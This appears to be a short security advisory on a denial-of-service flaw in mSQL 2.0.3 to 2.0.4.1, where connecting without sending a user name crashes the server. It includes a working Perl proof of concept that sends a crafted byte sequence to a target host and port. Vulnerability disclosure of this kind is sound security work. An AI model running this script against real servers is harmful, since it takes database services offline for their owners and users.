COMMAND
mSQL
SYSTEMS AFFECTED
mSQL 2.0.3, 2.0.4, 2.0.4.1
PROBLEM
Peter Boutzev found following. That is: in function
"msqlConnect()" , libmsql checks the user name of the logged user.
Ok, let's try to connect to an mSQL server without sending it.
After several retries, you will find that the server will go away.
Here is what happens:
* Hit by a sig 11
* Forced server shutdown due to bad signal!
* IOT trap/Abort
Peter discovered this when doing an mSQL Clinent with an old
libmsql.dll under Windows. Here is a small cut of code that
demonstrates the problem.
#!/usr/bin/perl
use IO::Socket;
$host = @ARGV[0];
$port = @ARGV[1];
&Connect;
sub Connect {
$sock = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $host,
PeerPort => "msql($port)",
) or die "Cannot connect !";
$sock->autoflush(1);
print $sock "\x05\x00\x00\x00\x00\x0A\x03\x31\x3A\x0A";
while (<$sock>) {
print;
}
printf "Y0!-y0-Y0!\n";
}
SOLUTION
Nothing yet.